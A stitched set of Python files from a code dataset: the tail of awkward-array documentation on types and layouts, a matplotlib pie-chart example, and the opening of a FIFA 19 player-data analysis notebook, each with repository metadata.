colspan=\\\"2\\\" halign=\\\"left\\\">0</th>\\n\",\n       \"      <th colspan=\\\"4\\\" halign=\\\"left\\\">1</th>\\n\",\n       \"      <th colspan=\\\"4\\\" halign=\\\"left\\\">2</th>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th></th>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <th>1</th>\\n\",\n       \"      <th>2</th>\\n\",\n       \"      <th>3</th>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <th>1</th>\\n\",\n       \"      <th>2</th>\\n\",\n       \"      <th>3</th>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <th>1</th>\\n\",\n       \"      <th>...</th>\\n\",\n       \"      <th>2</th>\\n\",\n       \"      <th>3</th>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <th>1</th>\\n\",\n       \"      <th>2</th>\\n\",\n       \"      <th>3</th>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <th>1</th>\\n\",\n       \"      <th>2</th>\\n\",\n       \"      <th>3</th>\\n\",\n       \"    </tr>\\n\",\n       \"  </thead>\\n\",\n       \"  <tbody>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>1.0</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>1.0</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>1.0</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>1.0</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>1.0</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>5.5</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>3.3</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>6.6</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>4.4</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>1</th>\\n\",\n       \"      <td>10.0</td>\\n\",\n       \"      <td>10.0</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>10.0</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>10.0</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>4.4</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>3.3</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>2</th>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>100.0</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"    </tr>\\n\",\n       \"  </tbody>\\n\",\n       \"</table>\\n\"]\n\n# %%markdown\n# It is also possible to get `Pandas Series and DataFrames through Arrow <https://arrow.apache.org/docs/python/pandas.html>`__, though this doesn't handle jagged arrays well: they get converted into Numpy ``dtype=object`` arrays.\n\n# %%\ndf = awkward.toarrow(array).to_pandas()\ndf\n\nif False:\n      [\"<table border=\\\"1\\\" class=\\\"dataframe\\\">\\n\",\n       \"  <thead>\\n\",\n       \"    <tr style=\\\"text-align: right;\\\">\\n\",\n       \"      <th></th>\\n\",\n       \"      <th>a</th>\\n\",\n       \"      <th>b</th>\\n\",\n       \"    </tr>\\n\",\n       \"  </thead>\\n\",\n       \"  <tbody>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>1</td>\\n\",\n       \"      <td>[[2.2, 3.3, 4.4], [], [5.5, 6.6]]</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>1</th>\\n\",\n       \"      <td>10</td>\\n\",\n       \"      <td>[[1.1], [2.2, 3.3], [], [4.4]]</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>2</th>\\n\",\n       \"      <td>100</td>\\n\",\n       \"      <td>[[], [9.9]]</td>\\n\",\n       \"    </tr>\\n\",\n       \"  </tbody>\\n\",\n       \"</table>\\n\"]\n\n# %%\ndf.b\n# 0    [[2.2, 3.3, 4.4], [], [5.5, 6.6]]\n# 1       [[1.1], [2.2, 3.3], [], [4.4]]\n# 2                          [[], [9.9]]\n# Name: b, dtype: object\n\n# %%\ndf.b[0]\n# array([array([2.2, 3.3, 4.4]), array([], dtype=float64),\n#        array([5.5, 6.6])], dtype=object)\n\n# %%markdown\n# # High-level types\n#\n# The high-level type of an array describes its characteristics in terms of what it *represents*, a *logical* view of the data. By contrast, the layouts (below) describe the nested arrays themselves, a *physical* view of the data.\n#\n# The logical view of Numpy arrays is described in terms of ``shape`` and ``dtype``. The awkward type of a Numpy array is presented a little differently.\n\n# %%\na = numpy.array([[1.1, 2.2], [3.3, 4.4], [5.5, 6.6]])\nt = awkward.type.fromarray(a)\nt\n# ArrayType(3, 2, dtype('float64'))\n\n# %%markdown\n# Above is the object-form of the high-level type and object that ``takes`` arguments ``to`` return values.\n\n# %%\nt.takes\n# 3\n\n# %%\nt.to\n# ArrayType(2, dtype('float64'))\n\n# %%\nt.to.to\n# dtype('float64')\n\n# %%markdown\n# High-level type objects also have a printable form for human readability.\n\n# %%\nprint(t)\n# [0, 3) -> [0, 2) -> float64\n\n# %%markdown\n# The above should be read like a function's data type: ``argument type -> return type`` for the function that takes an index in square brackets and returns something else. For example, the first ``[0, 3)`` means that you could put any non-negative integer less than ``3`` in square brackets after the array, like this:\n\n# %%\na[2]\n# array([5.5, 6.6])\n\n# %%markdown\n# The second ``[0, 2)`` means that the next argument can be any non-negative integer less than ``2``.\n\n# %%\na[2][1]\n# 6.6\n\n# %%markdown\n# And then you have a Numpy ``dtype``.\n#\n# The reason high-level types are expressed like this, instead of Numpy ``shape`` and ``dtype`` is to generalize to arbitrary objects.\n\n# %%\na = awkward.fromiter([{\"x\": 1, \"y\": []}, {\"x\": 2, \"y\": [1.1, 2.2]}, {\"x\": 3, \"y\": [1.1, 2.2, 3.3]}])\nprint(a.type)\n# [0, 3) -> 'x' -> int64\n#           'y' -> [0, inf) -> float64\n\n# %%markdown\n# In the above, you could call ``a[2][\"x\"]`` to get ``3`` or ``a[2][\"y\"][1]`` to get ``2.2``, but the types and even number of allowed arguments depend on which path you take. Numpy's ``shape`` and ``dtype`` have no equivalent.\n#\n# Also in the above, the allowed argument for the jagged array is specified as ``[0, inf)``, which doesn't literally mean any value up to infinity is allowed\u2014the constraint simply isn't specific because it depends on the details of the jagged array. Even specifying the maximum length of any sublist (``a[\"y\"].counts.max()``) would require a calculation that scales with the size of the dataset, which can be infeasible in some cases. Instead, ``[0, inf)`` simply means \"jagged.\"\n#\n# Fixed-length arrays inside of ``JaggedArrays`` or ``Tables`` are presented with known upper limits:\n\n# %%\na = awkward.Table(x=[[1.1, 2.2], [3.3, 4.4], [5.5, 6.6]],\n                  y=awkward.fromiter([[1, 2, 3], [], [4, 5]]))\nprint(a.type)\n# [0, 3) -> 'x' -> [0, 2) -> float64\n#           'y' -> [0, inf) -> int64\n\n# %%markdown\n# Whereas each value of a ``Table`` row (`product type <https://en.wikipedia.org/wiki/Product_type>`__) contains a member of every one of its fields, each value of a ``UnionArray`` item (`sum type <https://en.wikipedia.org/wiki/Tagged_union>`__) contains a member of exactly one of its possibilities. The distinction is drawn as the lack or presence of a vertical bar (meaning \"or\": ``|``).\n\n# %%\na = awkward.fromiter([{\"x\": 1, \"y\": \"one\"}, {\"x\": 2, \"y\": \"two\"}, {\"x\": 3, \"y\": \"three\"}])\nprint(a.type)\n# [0, 3) -> 'x' -> int64\n#           'y' -> <class 'str'>\n\n# %%\na = awkward.fromiter([1, 2, 3, \"four\", \"five\", \"six\"])\nprint(a.type)\n# [0, 6) -> (int64         |\n#            <class 'str'> )\n\n# %%markdown\n# The parenthesis is to keep ``Table`` fields from being mixed up with ``UnionArray`` possibilities.\n\n# %%\na = awkward.fromiter([{\"x\": 1, \"y\": 1.1}, {\"x\": 2, \"y\": 2.2}, {\"x\": 3, \"y\": \"three\"}, {\"x\": 4, \"y\": \"four\"}])\nprint(a.type)\n# [0, 4) -> 'x' -> int64\n#           'y' -> (float64       |\n#                   <class 'str'> )\n\n# %%markdown\n# As in mathematics, products and the adjacency operator take precedence over sums.\n\n# %%\na = awkward.fromiter([1, 2, 3, {\"x\": 4.4, \"y\": \"four\"}, {\"x\": 5.5, \"y\": \"five\"}, {\"x\": 6.6, \"y\": \"six\"}])\nprint(a.type)\n# [0, 6) -> (int64                |\n#            'x' -> float64\n#            'y' -> <class 'str'> )\n\n# %%markdown\n# Missing data, represented by ``MaskedArrays``, ``BitMaskedArrays``, or ``IndexedMaskedArrays``, are called \"option types\" in the high-level type language.\n\n# %%\na = awkward.fromiter([1, 2, 3, None, None, 4, 5])\nprint(a.type)\n# [0, 7) -> ?(int64)\n\n# %%\n# Inner arrays could be missing values.\na = awkward.fromiter([[1.1, 2.2, 3.3], None, [4.4, 5.5]])\nprint(a.type)\n# [0, 3) -> ?([0, inf) -> float64)\n\n# %%\n# Numbers in those arrays could be missing values.\na = awkward.fromiter([[1.1, 2.2, None], [], [4.4, 5.5]])\nprint(a.type)\n# [0, 3) -> [0, inf) -> ?(float64)\n\n# %%markdown\n# Cross-references and cyclic references are expressed in awkward type objects by creating the same graph structure among the type objects as the arrays. Thus,\n\n# %%\ntree = awkward.fromiter([\n    {\"value\": 1.23, \"left\":    1, \"right\":    2},     # node 0\n    {\"value\": 3.21, \"left\":    3, \"right\":    4},     # node 1\n    {\"value\": 9.99, \"left\":    5, \"right\":    6},     # node 2\n    {\"value\": 3.14, \"left\":    7, \"right\": None},     # node 3\n    {\"value\": 2.71, \"left\": None, \"right\":    8},     # node 4\n    {\"value\": 5.55, \"left\": None, \"right\": None},     # node 5\n    {\"value\": 8.00, \"left\": None, \"right\": None},     # node 6\n    {\"value\": 9.00, \"left\": None, \"right\": None},     # node 7\n    {\"value\": 0.00, \"left\": None, \"right\": None},     # node 8\n])\nleft = tree.contents[\"left\"].content\nright = tree.contents[\"right\"].content\nleft[(left < 0) | (left > 8)] = 0         # satisfy overzealous validity checks\nright[(right < 0) | (right > 8)] = 0\ntree.contents[\"left\"].content = awkward.IndexedArray(left, tree)\ntree.contents[\"right\"].content = awkward.IndexedArray(right, tree)\n\ntree[0].tolist()\n# {'left': {'left': {'left': {'left': None, 'right': None, 'value': 9.0},\n#    'right': None,\n#    'value': 3.14},\n#   'right': {'left': None,\n#    'right': {'left': None, 'right': None, 'value': 0.0},\n#    'value': 2.71},\n#   'value': 3.21},\n#  'right': {'left': {'left': None, 'right': None, 'value': 5.55},\n#   'right': {'left': None, 'right': None, 'value': 8.0},\n#   'value': 9.99},\n#  'value': 1.23}\n\n# %%markdown\n# In the print-out, labels (``T0 :=``, ``T1 :=``, ``T2 :=``) are inserted to indicate where cross-references begin and end.\n\n# %%\nprint(tree.type)\n[0, 9) -> 'left'  -> T0 := ?(T1 := 'left'  -> T0\n                                   'right' -> T2 := ?(T1)\n                                   'value' -> float64)\n          'right' -> T2\n          'value' -> float64\n\n# %%markdown\n# The ``ObjectArray`` class turns awkward array structures into Python objects on demand. From an analysis point of view, the elements of the array *are* Python objects, and that is reflected in the type.\n\n# %%\nclass Point:\n    def __init__(self, x, y):\n        self.x, self.y = x, y\n    def __repr__(self):\n        return \"Point({0}, {1})\".format(self.x, self.y)\n\na = awkward.fromiter([Point(0, 0), Point(3, 2), Point(1, 1), Point(2, 4), Point(0, 0)])\na\n# <ObjectArray [Point(0, 0) Point(3, 2) Point(1, 1) Point(2, 4) Point(0, 0)] at 0x781106089390>\n\n# %%\nprint(a.type)\n# [0, 5) -> <function ObjectFillable.finalize.<locals>.make at 0x781106085a60>\n\n# %%markdown\n# In summary,\n#\n# * each element of a Numpy ``shape`` like ``(i, j, k)`` becomes a functional argument: ``[0, i) -> [0, j) -> [0, k)``;\n# * high-level types terminate on Numpy ``dtypes`` or ``ObjectArray`` functions;\n# * columns of a ``Table`` are presented adjacent to one another: the type is field 1 *and* field 2 *and* field 3, etc.;\n# * possibilities of a ``UnionArray`` are separated by vertical bars ``|``: the type is possibility 1 *or* possibility 2 *or* possibility 3, etc.;\n# * nullable types are indicated by a question mark;\n# * cross-references and cyclic references are maintained in the type objects, printed with labels.\n\n# %%markdown\n# # Low-level layouts\n#\n# The layout of an array describes how it is constructed in terms of Numpy arrays and other parameters. It has more information than a high-level type (above), more that would typically be needed for data analysis, but very necessary for data engineering.\n#\n# A ``Layout`` object is a mapping from position tuples to ``LayoutNodes``. The screen representation is sufficient for reading.\n\n# %%\na = awkward.fromiter([[1.1, 2.2, 3.3], [], [4.4, 5.5]])\nt = a.layout\nt\n#  layout\n# [    ()] JaggedArray(starts=layout[0], stops=layout[1], content=layout[2])\n# [     0]   ndarray(shape=3, dtype=dtype('int64'))\n# [     1]   ndarray(shape=3, dtype=dtype('int64'))\n# [     2]   ndarray(shape=5, dtype=dtype('float64'))\n\n# %%\nt[2]\n# <LayoutNode [(2,)] ndarray>\n\n# %%\nt[2].array\n# array([1.1, 2.2, 3.3, 4.4, 5.5])\n\n# %%\na = awkward.fromiter([[[1.1, 2.2], [3.3]], [], [[4.4, 5.5]]])\nt = a.layout\nt\n#  layout\n# [    ()] JaggedArray(starts=layout[0], stops=layout[1], content=layout[2])\n# [     0]   ndarray(shape=3, dtype=dtype('int64'))\n# [     1]   ndarray(shape=3, dtype=dtype('int64'))\n# [     2]   JaggedArray(starts=layout[2, 0], stops=layout[2, 1], content=layout[2, 2])\n# [  2, 0]     ndarray(shape=3, dtype=dtype('int64'))\n# [  2, 1]     ndarray(shape=3, dtype=dtype('int64'))\n# [  2, 2]     ndarray(shape=5, dtype=dtype('float64'))\n\n# %%\nt[2]\n# <LayoutNode [(2,)] JaggedArray>\n\n# %%\nt[2].array\n# <JaggedArray [[1.1 2.2] [3.3] [4.4 5.5]] at 0x7811060a1208>\n\n# %%\nt[2, 2].array\n# array([1.1, 2.2, 3.3, 4.4, 5.5])\n\n# %%markdown\n# Classes like ``IndexedArray``, ``SparseArray``, ``ChunkedArray``, ``AppendableArray``, and ``VirtualArray`` don't change the high-level type of an array, but they do change the layout. Consider, for instance, an array made with ``awkward.fromiter`` and an array read by ``awkward.fromparquet``.\n\n# %%\na = awkward.fromiter([[1.1, 2.2, None, 3.3], [], None, [4.4, 5.5]])\n\n# %%\nawkward.toparquet(\"tmp.parquet\", a)\n\n# %%\nb = awkward.fromparquet(\"tmp.parquet\")\n\n# %%markdown\n# At first, it terminates at ``VirtualArray`` because the data haven't been read\u2014we don't know what arrays are associated with it.\n\n# %%\nb.layout\n#  layout\n# [    ()] ChunkedArray(chunks=[layout[0]], chunksizes=[4])\n# [     0]   VirtualArray(generator=<awkward.arrow._ParquetFile object at 0x781106089668>, args=(0, ''), kwargs={})\n\n# %%markdown\n# But after reading,\n\n# %%\nb\n# <ChunkedArray [[1.1 2.2 None 3.3] [] [] [4.4 5.5]] at 0x7811060890b8>\n\n# %%markdown\n# The layout shows that it has more structure than ``a``.\n\n# %%\nb.layout\n#  layout\n# [           ()] ChunkedArray(chunks=[layout[0]], chunksizes=[4])\n# [            0]   VirtualArray(generator=<awkward.arrow._ParquetFile object at 0x781106089668>, args=(0, ''), kwargs={}, array=layout[0, 0])\n# [         0, 0]     BitMaskedArray(mask=layout[0, 0, 0], content=layout[0, 0, 1], maskedwhen=False, lsborder=True)\n# [      0, 0, 0]       ndarray(shape=1, dtype=dtype('uint8'))\n# [      0, 0, 1]       JaggedArray(starts=layout[0, 0, 1, 0], stops=layout[0, 0, 1, 1], content=layout[0, 0, 1, 2])\n# [   0, 0, 1, 0]         ndarray(shape=4, dtype=dtype('int32'))\n# [   0, 0, 1, 1]         ndarray(shape=4, dtype=dtype('int32'))\n# [   0, 0, 1, 2]         BitMaskedArray(mask=layout[0, 0, 1, 2, 0], content=layout[0, 0, 1, 2, 1], maskedwhen=False, lsborder=True)\n# [0, 0, 1, 2, 0]           ndarray(shape=1, dtype=dtype('uint8'))\n# [0, 0, 1, 2, 1]           ndarray(shape=6, dtype=dtype('float64'))\n\n# %%\na.layout\n#  layout\n# [     ()] MaskedArray(mask=layout[0], content=layout[1], maskedwhen=True)\n# [      0]   ndarray(shape=4, dtype=dtype('bool'))\n# [      1]   JaggedArray(starts=layout[1, 0], stops=layout[1, 1], content=layout[1, 2])\n# [   1, 0]     ndarray(shape=4, dtype=dtype('int64'))\n# [   1, 1]     ndarray(shape=4, dtype=dtype('int64'))\n# [   1, 2]     MaskedArray(mask=layout[1, 2, 0], content=layout[1, 2, 1], maskedwhen=True)\n# [1, 2, 0]       ndarray(shape=6, dtype=dtype('bool'))\n# [1, 2, 1]       ndarray(shape=6, dtype=dtype('float64'))\n\n# %%markdown\n# However, they have the same high-level type.\n\n# %%\nprint(b.type)\n# [0, 4) -> ?([0, inf) -> ?(float64))\n\n# %%\nprint(a.type)\n# [0, 4) -> ?([0, inf) -> ?(float64))\n\n# %%markdown\n# Cross-references and cyclic references are also encoded in the ``layout``, as references to previously seen indexes.\n\n# %%\ntree.layout\n#  layout\n# [     ()] Table(left=layout[0], right=layout[1], value=layout[2])\n# [      0]   MaskedArray(mask=layout[0, 0], content=layout[0, 1], maskedwhen=True)\n# [   0, 0]     ndarray(shape=9, dtype=dtype('bool'))\n# [   0, 1]     IndexedArray(index=layout[0, 1, 0], content=layout[0, 1, 1])\n# [0, 1, 0]       ndarray(shape=9, dtype=dtype('int64'))\n# [0, 1, 1]       -> layout[()]\n# [      1]   MaskedArray(mask=layout[1, 0], content=layout[1, 1], maskedwhen=True)\n# [   1, 0]     ndarray(shape=9, dtype=dtype('bool'))\n# [   1, 1]     IndexedArray(index=layout[1, 1, 0], content=layout[1, 1, 1])\n# [1, 1, 0]       ndarray(shape=9, dtype=dtype('int64'))\n# [1, 1, 1]       -> layout[()]\n# [      2]   ndarray(shape=9, dtype=dtype('float64'))\n\n# %%markdown\n# # Applications\n\n# %%markdown\n# ## Decision tree as an awkward array\n\n# %%markdown\n# ## Mixed-source data with persistvirtual\n\n# %%markdown\n# ## Using Pandas with awkward arrays\n\n# %%markdown\n# ## Using Numba with awkward arrays\n\n# %%markdown\n# ## Flattening awkard arrays for machine learning\n", "meta": {"hexsha": "e91fe1c352673401c2aa953baf27bf78cacdded3", "size": 188405, "ext": "py", "lang": "Python", "max_stars_repo_path": "docs/frontpage-source.py", "max_stars_repo_name": "smit2k14/awkward-array", "max_stars_repo_head_hexsha": "a2645fdaed1a6997c4677ae47cbb2cd0663e8a21", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "docs/frontpage-source.py", "max_issues_repo_name": "smit2k14/awkward-array", "max_issues_repo_head_hexsha": "a2645fdaed1a6997c4677ae47cbb2cd0663e8a21", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "docs/frontpage-source.py", "max_forks_repo_name": "smit2k14/awkward-array", "max_forks_repo_head_hexsha": "a2645fdaed1a6997c4677ae47cbb2cd0663e8a21", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 42.2243388615, "max_line_length": 1982, "alphanum_fraction": 0.5823200021, "include": true, "reason": "import numpy,import numba", "num_tokens": 63865, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.46101677931231594, "lm_q2_score": 0.15817434481176187, "lm_q1q2_score": 0.07292102701495419}}
{"text": "import numpy as np \nfrom matplotlib import pyplot as plt\n\nfruit = ['apple','orange','mango','guava']\nquatity = [100,67,34,29]\n\n# plt.pie(quatity,labels = fruit)\n\n# Adding Colour and percentage in pie plot.\nplt.pie(quatity,labels = fruit,colors = ['yellow','grey','blue','black'],startangle = 90)\n\n#pull the apple \"wedge 0.2 from the center of the pie\".\nmyexplode = [0.2,0,0,0]\nplt.pie(quatity,labels = fruit,explode = myexplode,shadow = True)\n\n# Adding list of explanation of each wedge.\nplt.legend(title = \"Four Fruit\")\n# plt.legend()\n\nplt.show()", "meta": {"hexsha": "847f11ccdb918a338c4e9930889b62b2c614434f", "size": 547, "ext": "py", "lang": "Python", "max_stars_repo_path": "matplotlib/pie_chart.py", "max_stars_repo_name": "abhayanigam/Learn_Python_Programming", "max_stars_repo_head_hexsha": "801e3fff2b1fe35e4c93f4ced649516c519eb8f9", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-08-28T15:10:26.000Z", "max_stars_repo_stars_event_max_datetime": "2021-08-28T15:10:26.000Z", "max_issues_repo_path": "matplotlib/pie_chart.py", "max_issues_repo_name": "abhayanigam/Learn_Python_Programming", "max_issues_repo_head_hexsha": "801e3fff2b1fe35e4c93f4ced649516c519eb8f9", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "matplotlib/pie_chart.py", "max_forks_repo_name": "abhayanigam/Learn_Python_Programming", "max_forks_repo_head_hexsha": "801e3fff2b1fe35e4c93f4ced649516c519eb8f9", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 27.35, "max_line_length": 89, "alphanum_fraction": 0.7020109689, "include": true, "reason": "import numpy", "num_tokens": 162, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49218813572079556, "lm_q2_score": 0.14804719615221756, "lm_q1q2_score": 0.0728670734728509}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# ## This solution is described about the Data Scientist Blog Post. CRISP-DM process will be applied.\n\n# In[2]:\n\n\n# import libraries\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import r2_score, mean_squared_error, median_absolute_error\nfrom sklearn.ensemble import RandomForestRegressor\n\n\n# # 1. Business Understanding\n\n# It would be quite interesting to apply data analysis skills here as a football fan. I chose FIFA 19 complete player dataset. I will fouc on mentioned below questions:\n# \n# Q1. What is the ratio of total wages/ total potential for clubs. Which clubs are the most economical\uff1f\n# \n# Q2. How is nation team player in total market value distributed?\n# \n# Q3. Which player skils set influence potential/wage? Can we predict player/player's potential based on his skills set?\n\n# # 2. Data Understanding and Exploration\n\n# In[3]:\n\n\n# Load dataset\nfifa19_player_data_frame = pd.read_csv('data.csv')\nfifa19_player_data_frame.head()\n\n\n# In[4]:\n\n\n# Number of players\nfifa19_player_data_frame.shape[0]\n\n\n# In[5]:\n\n\n# Data format for each column\nfifa19_player_data_frame.info()\n\n\n# In[6]:\n\n\n# Types of informations in data set\nfifa19_player_data_frame.columns\n\n\n# In[7]:\n\n\n# Missing values\nfifa19_player_data_frame.isnull().sum()\n\n\n# # 3. Prepare Data\n\n# As per data exploration in above section, tthere are some necessary steps to be applied before preparing data:\n# \n# 1. Unused column to be dropted\n# \n# 2. String to be converted to number\n# \n# 3. Handle missing values, if necessary drop them\n\n# In[8]:\n\n\n# Drop unused columns\ncolumns_to_drop = ['Unnamed: 0', 'ID', 'Photo', 'Flag','Club Logo', 'Preferred Foot', \n                   'Body Type', 'Real Face', 'Jersey Number', 'Joined', 'Loaned From',\n                   'Contract Valid Until', 'Height', 'Weight','LS', 'ST', 'RS', 'LW', 'LF', 'CF', 'RF', 'RW',\n                   'LAM', 'CAM', 'RAM', 'LM', 'LCM', 'CM', 'RCM', 'RM', 'LWB', 'LDM',\n                   'CDM', 'RDM', 'RWB', 'LB', 'LCB', 'CB', 'RCB', 'RB', 'Release Clause']\n\nfifa19_player_data_frame.drop(columns_to_drop, axis=1, inplace=True)\n\n\n# In[9]:\n\n\n# Display data after dropped column\nfifa19_player_data_frame.head()\n\n\n# In[10]:\n\n\n# Convert value and wage columns string to number\n# Example: \u20ac110.5M = 110.5 * 1000000\ndef string2number(amount_str):\n    \"\"\"\n    This function convert value and wage string to floating point number \n    \n    Parameter:\n    amount(str): Amount string with M & K as Abbreviation for Million and Thousands\n    \n    Returns:\n    float: A float number represents the numerical value of the input parameter amount(str)\n    \"\"\"\n    if amount_str[-1] == 'M':\n        return float(amount_str[1:-1])*1000000\n    elif amount_str[-1] == 'K':\n        return float(amount_str[1:-1])*1000\n    else:\n        return float(amount_str[1:])\n\n\n# In[11]:\n\n\n# First convert value, wage string to actual amount, then divide by 1 million and 1 thousand. \n# Assigned to new columns \"Value_M and Wage_K respectively\"\nfifa19_player_data_frame['Value_M'] = fifa19_player_data_frame['Value'].apply(lambda x: string2number(x) / 1000000)\nfifa19_player_data_frame['Wage_K'] = fifa19_player_data_frame['Wage'].apply(lambda x: string2number(x) / 1000)\n\n# Drop original value & wage column\nfifa19_player_data_frame.drop(['Value', 'Wage'], axis=1, inplace=True)\n\n\n# In[12]:\n\n\n# Display data set ater string to number conversion\nfifa19_player_data_frame.describe()\n\n\n# In[13]:\n\n\n# Find player Name who's Value is highest\nfifa19_player_data_frame.loc[fifa19_player_data_frame['Value_M'].idxmax()]\n\n\n# In[14]:\n\n\n# Find player Name who's Wage is highest\nfifa19_player_data_frame.loc[fifa19_player_data_frame['Wage_K'].idxmax()]\n\n\n# In[15]:\n\n\n# Missing value handling\nmissing_player_data_frame = fifa19_player_data_frame[fifa19_player_data_frame['Agility'].isnull()]\n\n\n# In[16]:\n\n\nmissing_player_data_frame.describe()\n\n\n# ## 3.1 Fifa19 data observation\n\n# From above analysis result there are 48 missing values that quite a few columns which are related to player's skills.\n# \n# So there were 48 players that simply missing those values. But, to answer Question-1 and Question-2 we will reserve those players since there were no missing value in Value_M and Wage_K column.\n# \n# To explain Question-3, we will drop those player rows since there are many missing values.\n\n# # 4. Answer Questions base on dataset\n\n# ### Q1. What is the ratio of total wages/ total potential for clubs. Which clubs are the most economical\uff1f\n\n# In[17]:\n\n\nclub_wages = fifa19_player_data_frame.groupby('Club').sum()\n\n\n# In[18]:\n\n\nclub_player_count = fifa19_player_data_frame.groupby('Club').count()\n\n\n# In[19]:\n\n\n# Total Number of clubs and average number of players in each club\nprint('Total Number of clubs is {}'.format(club_player_count.shape[0]))\nprint('Players average in each club is {}'.format(round(club_player_count['Age'].mean(),2)))\nprint('Total Average wage(K) potential ratio is {}'\n      .format(round(club_wages['Wage_K'].sum() / club_wages['Potential'].sum(), 2)))\n\n\n# In[20]:\n\n\nclub_wages['Wage/Potential'] = club_wages['Wage_K'] / club_wages['Potential']\nclub_wages['Player Number'] = club_player_count['Age']\nclub_wages['Player Average Age'] = club_wages['Age'] / club_wages['Player Number']\n\n\n# In[21]:\n\n\nclub_wages.sort_values('Wage/Potential', ascending=False, inplace=True)\n\n\n# In[22]:\n\n\nclub_wages.head()\n\n\n# In[23]:\n\n\nclub_wages['Wage/Potential'].head(10).plot(kind='bar', color='Blue')\nplt.title('Top 10 clubs spending wage on players potential')\n\n\n# In[24]:\n\n\nclub_wages['Wage/Potential'].tail(10).plot(kind='bar', color='Blue')\nplt.title('Top 10 economical clubs ')\n\n\n# From the above analysis and plot, the Real Madrid, Barcelona, and Juventus club are willing to spend more wage for high potential players than other clubs.\n# \n# The economical clubs are not famous and from nowhere that we heard about. Few of them are quite famous like AEK Athens, Dynamo Kyiv may be more. This conclude that those club's players are potiential but underpayed. It would be good approach for 'Giant' clubs to bring more econimical players to reduce their overall wage spent.\n\n# ### Q2. How is nation team player in total market value distributed?\n\n# In[25]:\n\n\n# Age count\nage_count = fifa19_player_data_frame['Age'].value_counts()\nage_count.sort_index(ascending=True, inplace=True)\n\n\n# In[26]:\n\n\n# Calculate average overall rating\nage_mean = fifa19_player_data_frame.groupby('Age').mean()\n\n\n# In[27]:\n\n\n# Collect age distribuion and overall rating together\nage_count_list = age_count.values.tolist()\nage_overall_rating_list = age_mean['Overall'].values.tolist()\n\n\n# In[30]:\n\n\n# Plot age distribution and overall rating together\nage = age_count.index.values.tolist()\nfigure = plt.figure()\naxis_1 = figure.add_subplot(111)\naxis_1.plot(age,age_overall_rating_list, color = 'red', label='Average Rating')\naxis_1.legend(loc=1)\naxis_1.set_ylabel('Average Rating')\n\naxis_2 = 